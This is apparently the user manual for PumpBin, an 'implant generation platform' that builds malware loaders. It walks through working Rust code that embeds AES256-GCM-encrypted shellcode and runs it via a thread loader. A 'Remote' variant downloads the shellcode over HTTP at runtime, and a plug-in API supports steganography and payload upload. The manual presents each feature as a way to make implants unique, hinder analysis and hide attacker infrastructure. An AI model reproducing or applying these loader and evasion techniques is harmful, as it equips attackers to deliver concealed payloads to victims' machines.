PumpBin
PumpBin is an Implant Generation Platform.
To use PumpBin, you need to have a b1n file or Create One.
A b1n file contains one or more binary implant templates, along with some Extism Plug-in and some additional descriptive information.
We usually refer to b1n file as Plugin and wasm file as Extism Plug-in.
The plug-in repository collects reusable PumpBin Extism Plug-in.
- Powerful, simple, and comfortable UI
- Following the minimal principle to ensure maximum flexibility in usage
- Support two Plugin types:
Local
andRemote
- Support Extism Plug-in System, offering powerful extensibility
- Each generated implant has a different random encryption key
- Populated with randomized data, each generated implant is unique
- We have user manual, you no longer need to educate your users
- No dependencies, just PumpBin
- Support description, you can write anything about this Plugin
- No network connection(excluding Extism Plug-in)
- ... And I'm PumpBin, I have magic🪄
Contributing
The site is generated using mdBook, hosted on GitHub.
If you write an article about PumpBin, please submit an issue, and I'll consider linking to your article :)
Quick Start
In this chapter, we will create a Local
type Plugin and understand how PumpBin works.
Plugins of type Local
have their shellcode stored inside the final implant. This has certain stability advantages, but the shellcode is also easily extracted and analyzed.
PumpBin will read the shellcode file and dynamically patch the encrypted shellcode into the binary implant template according to the encryption settings. The random password used for encryption will also be patched.
So PumpBin is essentially a binary data search and replace tool. This implementation requires that placeholder data be placed in the binary implant in advance, and once the compilation is complete, the length of the placeholder data cannot be changed.
In general, we make the shellcode placeholder data slightly larger than the required length (if you know the length of the shellcode to be used). There are two reasons for this:
- For greater compatibility (if the Plugin shellcode placeholder is shorter than the encrypted shellcode, the Plugin will not be able to use this shellcode)
- The extra space is not useless, PumpBin will fill it with random data to ensure that each implant is unique
Create binary implant template
I will use create_thread from rust-shellcode as the code to load.
Clone rust-shellcode
git clone --depth 1 https://github.com/b1nhack/rust-shellcode.git
Go to the create_thread
directory
cd rust-shellcode
cd create_thread
Compile and run, test if it loads the demo shellcode successfully
By default, w64-exec-calc-shellcode-func.bin will be run,
and you should see the calc
program start.
cargo r
We need to replace w64-exec-calc-shellcode-func
with shellcode placeholder data.
Create build.rs in the create_thread
directory and paste the following code
use std::{fs, iter};
fn main() {
let mut shellcode = "$$SHELLCODE$$".as_bytes().to_vec();
shellcode.extend(iter::repeat(b'0').take(1024 * 1024));
fs::write("shellcode", shellcode.as_slice()).unwrap();
}
This will generate a placeholder data of about 1 MiB, and it starts with $$SHELLCODE$$
(we call it Prefix
, PumpBin uses it to locate the placeholder data, so Prefix
needs to be unique, PumpBin will use the first match).
Replace line 11 of main.rs with the following code to include the placeholder data
let shellcode = include_bytes!("../shellcode");
Since the shellcode will be filled with random data, we need to know the length of the shellcode to correctly extract the shellcode.
Add the following code after line 11 of main.rs
const SIZE_HOLDER: &str = "$$99999$$";
let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
let shellcode = &shellcode[0..shellcode_len];
We added a constant string reference, $$99999$$
is also a Prefix
, but we prefer to call it a Place Holder
, because it will be completely replaced.
(Prefix
will be completely replaced with valid data + random data, while Place Holder
will be completely replaced with valid data)
With the length information of the shellcode, we can get the correct shellcode. Compile the modified create_thread
project, and we will get a simple binary implant template.
cargo b -r
Create Plugin
Now that we have a simple binary implant template, we can use PumpBin Maker to create a Plugin that only contains a Windows Exe
Plugin Name: Enter first_plugin. (This field is the unique identifier for the plugin, which means that users cannot install two plugins with the same name at the same time.)
Prefix: Enter $$SHELLCODE$$
. (This is the Prefix
of the shellcode placeholder data we used above. You can use any Prefix
you like, as long as it is unique or the first one to be matched.)
Max Len: Fill in the total size of the shellcode placeholder data, which in this case should be 1024*1024 + the size of the prefix = 1048589. (Unit: Bytes)
Type: Select Local
, Size Holder: Fill in $$99999$$
.
(This is the constant string reference we used above to determine the length of the shellcode. You can use any Size Holder you like. The rules are the same as above.)
Windows Exe: Select the binary implant template we compiled above. (You can also directly enter the file path)
Click Generate, save the generated b1n file
Test Plugin
Install the plugin created with PumpBin and use w64-exec-calc-shellcode-func
to generate a final implant. You should see the calc
program start.
At this point, we have created a plugin of type Local
and understood how PumpBin works.
The next chapter will introduce the encryption system in PumpBin. The encryption process is transparent to the user and is determined by the Plugin developer and handled by PumpBin.
The complete project files for this example are available in the PumpBin code repository at examples/create_thread.
Encryption
In this chapter, we will optimize the plugin created in the previous chapter and use AES256-GCM to encrypt the shellcode.
Most hackers would want to encrypt their shellcode, and no one would want to expose their infrastructure.
Create binary implant template
To create a plugin with encryption, our binary implant template needs to implement the corresponding decryption logic.
We will change it based on the code in the previous chapter.
Add the following dependencies to the end of the Cargo.toml file
aes-gcm = "0.10.3"
Add the following decryption function above the main function in main.rs
fn decrypt(data: &[u8]) -> Vec<u8> {
const KEY: &[u8; 32] = b"$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$";
const NONCE: &[u8; 12] = b"$$NNNNNNNN$$";
let aes = Aes256Gcm::new_from_slice(KEY).unwrap();
let nonce = Nonce::from_slice(NONCE);
aes.decrypt(nonce, data).unwrap()
}
Two of them are array references wrapped in $$
, which have already appeared in the previous chapter. They are two Place Holder
, which are used by PumpBin to locate placeholder data.
(Place Holder
is a fixed size, Prefix
is a dynamic size, so in the previous chapter, Size Holder is needed to determine the real length of the shellcode, and the Max Len field is also needed)
Add the following code after the fourth line of the main function in main.rs
let shellcode = decrypt(shellcode);
The main function after the addition is complete is as follows
fn main() {
let shellcode = include_bytes!("../shellcode");
const SIZE_HOLDER: &str = "$$99999$$";
let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
let shellcode = &shellcode[0..shellcode_len];
let shellcode = decrypt(shellcode);
let shellcode_size = shellcode.len();
...
Compiling the modified create_thread
project, we will get a binary implant template that uses AES256-GCM to decrypt the shellcode.
cargo b -r
Create Plugin
We use PumpBin Maker to create the plugin. The steps are the same as in the previous chapter, except that we also need an Extism plug-in that implements the corresponding decryption logic.
The plug-in repository collects reusable PumpBin Extism Plug-ins, including the aes256-gcm Extism Plug-in.
Instructions on how to use it are provided in README.md
key:
$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce:$$NNNNNNNN$$
We need to use a specific key and nonce as a Place Holder
in the decryption function of the binary implant template, which we have already done.
(If you have previously modified the KEY or NONCE in the decryption function, you need to start again from the step of adding the decryption function)
Download the compiled aes256_gcm.wasm and enter the file path into the Encrypt Shellcode Plug-in
input box in PumpBin Maker.
(You can also use the file selection dialog to select the downloaded aes256_gcm.wasm
file)
Plugin Name: Enter first_plugin. (This field is the unique identifier for the plugin, which means that users cannot install two plugins with the same name at the same time.)
Prefix: Enter
$$SHELLCODE$$
. (This is thePrefix
of the shellcode placeholder data we used above. You can use anyPrefix
you like, as long as it is unique or the first one to be matched.)
Max Len: Fill in the total size of the shellcode placeholder data, which in this case should be 1024*1024 + the size of the prefix = 1048589. (Unit: Bytes)
Type: Select
Local
, Size Holder: Fill in$$99999$$
. (This is the constant string reference we used above to determine the length of the shellcode. You can use any Size Holder you like. The rules are the same as above.)
Windows Exe: Select the binary implant template we compiled above. (You can also directly enter the file path)
Click Generate, save the generated b1n file
Test Plugin
Install the plugin created with PumpBin and use w64-exec-calc-shellcode-func
to generate a final implant. Running it should see the calc program launched.
At this point, we have created a plugin of type Local
that uses the AES256-GCM encryption method
In the previous two chapters, I always quoted Local
to remind you that it is a keyword. It is very important to understand them correctly when using PumpBin.
In the next chapter, we will create our first plugin of type "Remote". This allows the shellcode to be hosted on a remote server.
The complete project file for this example is available in the PumpBin code repository at examples/create_thread_encrypt.
Remote Type
In this chapter, we will create a plugin of type Remote
.
The shellcode of a plugin of type Remote
is hosted on a remote server. By controlling the accessibility of the shellcode, it can be made more difficult to extract and analyze, thereby protecting the infrastructure.
For example, delete the remote shellcode file after the implant has run successfully. (provided you don't have other implants that depend on this link running)
It is recommended to always set a unique shellcode hosting address for each generated final implant (one final implant corresponds to one link)
Create binary implant template
We will modify the previous chapter code
First, we need a way to get the encrypted shellcode file from the remote server, instead of including the shellcode placeholder data in the binary implant template in advance.
Delete build.rs (no longer needed to generate shellcode placeholder data).
Add dependencies to the end of Cargo.toml. In this example, the http protocol is used for demonstration purposes. (Any protocol can be used, or the download function can be implemented in any way)
reqwest = { version = "0.12.5", features = ["blocking"] }
Add the following download function to the main function of main.rs
fn download() -> Vec<u8> {
const URL: &[u8; 81] =
b"$$UURRLL$$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
let url = CStr::from_bytes_until_nul(URL).unwrap();
reqwest::blocking::get(url.to_str().unwrap())
.unwrap()
.bytes()
.unwrap()
.to_vec()
}
$$UURRLL$$ is a Prefix
, which means that the URL constant will be filled with valid data + random data, so it is recommended to reserve a certain number of bytes for PumpBin to fill with random bytes.
Since URLs and the like are mostly printable characters, the processing here is slightly different from the $$$SHELLCODE$$ Prefix
in Chapter 1.
We no longer need a size holder to distinguish between valid data and invalid data. Instead, PumpBin will add a \x00 byte after the valid data to locate the valid data. (So the actual maximum URL length will be one byte less than Max Len because a \x00 byte will be added at the end.)
This is easy to implement in Rust, and other languages should have similar implementations. If not, just use a for loop to check if it is a \x00 byte byte by byte.
After implementing the download function, we need to use it in main.rs to replace the shellcode placeholder data
Delete the first four lines of the main function in main.rs and add the following code to the first line
let shellcode = download();
let shellcode = shellcode.as_slice();
The modified main function is as follows
fn main() {
let shellcode = download();
let shellcode = shellcode.as_slice();
let shellcode = decrypt(shellcode);
let shellcode_size = shellcode.len();
...
Compiling the modified create_thread
project, we will get a binary implant template that uses the http protocol to download the encrypted shellcode file.
cargo b -r
Create Plugin
Use PumpBin Maker to create a plugin, similar to the previous section.
Prefix: Enter $$UURRLL$$
Max Len: Enter the length of the URL constant array reference. 81.
Type: Select Remote
Download the compiled aes256_gcm.wasm and enter the file path into the
Encrypt Shellcode Plug-in
input box in PumpBin Maker. (You can also use the file selection dialog to select the downloadedaes256_gcm.wasm
file)
Plugin Name: Enter first_plugin. (This field is the unique identifier for the plugin, which means that users cannot install two plugins with the same name at the same time.)
Windows Exe: Select the binary implant template we compiled above. (You can also directly enter the file path)
Click Generate, save the generated b1n file
Test Plugin
Use the PumpBin plugin to install the plugin, click the Encrypt button to select w64-exec-calc-shellcode-func
to generate an encrypted shellcode file.
Use Python 3 to start an HTTP service in the same directory as the encrypted shellcode file.
python -m http.server 8000
The local http address of the encrypted shellcode file should be http://127.0.0.1:8000/shellcode.enc
Fill in PumpBin, generate the final implant, run it and you should see the access request, the calc program is started.
If you use the Encrypt Shellcode Plug-in with a random encryption password
the random encryption password recorded internally will be updated every time you click the Encrypt button to successfully encrypt the shellcode (because the real encryption password needs to be patched into the binary implant template). If you encrypt the shellcode once (call it shellcode0), upload shellcode0 to the remote server and fill in the link into PumpBin, but before generating the final implant, you encrypt the shellcode again (call it shellcode1), and then generate the final implant, then the final implant generated can only decrypt shellcode1, but not the remote shellcode0 file.
The following chapters will introduce how to develop the PumpBin Extism Plug-in and more internal details to help cyber security researchers deal with complex requirements.
For example, how to write the encrypted shellcode to a png file after the user clicks the Encrypt button to encrypt the shellcode, and then upload the png file to a website. After the upload is successful, the remote png file access address is automatically filled in the shellcode url input box.
The complete project file in this example is in the PumpBin code repository examples/create_thread_remote.
Extism Plug-in
PumpBin uses Extism to implement the plugin system.
Note: One of the primary use cases for Extism is building extensible software & plugins. You want to be able to execute arbitrary, untrusted code from your users? Extism makes this safe and practical to do.
PumpBin Extism Plug-in input and output are both byte streams, and use json serialization. The plug-in needs to deserialize the input byte stream into json and serialize the json output into a byte stream. An example of using serde_json in rust is as follows:
#[derive(Debug, Serialize, Deserialize)]
pub struct Input {
...
}
#[derive(Debug, Serialize, Deserialize)]
pub struct Output {
...
}
#[plugin_fn]
pub fn extism_plugin(input: Vec<u8>) -> FnResult<Vec<u8>> {
let input = serde_json::from_slice::<Input>(input.as_slice())?;
...
let output = Output { ... };
Ok(serde_json::to_vec(&output)?)
}
Common errors
If there is any code in the plug-in that involves syscalls, you need to compile it with the wasi
module enabled. For example, generating random numbers, network access, etc.
(It is recommended to compile it with the wasi
module enabled directly to avoid errors. In rust, it is the wasm32-wasi
target)
Extism has a detailed tutorial on developing plug-ins in various languages. Below is the API documentation for the PumpBin Extism plug-in.
The plugin that ends with remote
is a plugin of the Remote
type.
encrypt_shellcode
Encrypt the original shellcode.
Function Name
encrypt_shellcode
Input
{
"shellcode": []
}
The shellcode
is a byte array and is the original shellcode.
Output
{
"encrypted": [],
"pass": [
{
"holder": [],
"replace_by": []
},
{
"holder": [],
"replace_by": []
}
]
}
encrypted
is a byte array, which is the encrypted shellcode.
pass
is an array of the following json structure, which is used to patch the encrypted password in the binary implant template (some encryption methods have multiple passwords, so it is an array):
{
"holder": [],
"replace_by": []
}
The holder
is a byte array and is a placeholder for the password in the decryption function of the binary implant template.
When sharing a plug-in, please inform how to correctly set the password in the decryption function.
For example, aes256-gcm in the plug-in repository has the following README content:
key:
$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce:$$NNNNNNNN$$
The above content shows that when using the aes256-gcm
plug-in, the key in the AES256-GCM decryption function of the binary implant template needs to be set to $$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
, and the nonce to $$NNNNNNNN$$
.
The replace_by
is a byte array and is the encryption password. A random encryption password can be generated in the plug-in so that each generated final implant has a unique encryption password.
format_encrypted_shellcode
Convert the encrypted shellcode to another format, such as steganography to png, convert to UUID...
Function Name
format_encrypted_shellcode
Input
{
"shellcode": []
}
The shellcode
is a byte array and is the encrypted shellcode.
Output
{
"formated_shellcode": []
}
formated_shellcode
is a byte array, which is the converted shellcode.
format_url_remote
Convert shellcode url to another format. (Remote
Only)
Function Name
format_url_remote
Input
{
"url": ""
}
url
is a string, which is the original shellcode url.
Output
{
"formated_url": ""
}
formated_url
is a string, which is the converted shellcode url.
upload_final_shellcode_remote
Upload the final shellcode to the remote server. (Remote
Only)
The final shellcode is the encrypted and converted shellcode. If a plug-in is not set, it is returned as is. For example, if the format_encrypted_shellcode plug-in is not set, the encrypted shellcode is returned as is.
Function Name
upload_final_shellcode_remote
Input
{
"final_shellcode": []
}
final_shellcode
is a byte array, which is the final shellcode.
Output
{
"url": ""
}
url
is a string, which is the URL address after the upload, and PumpBin will automatically fill it into the shellcode URL input box.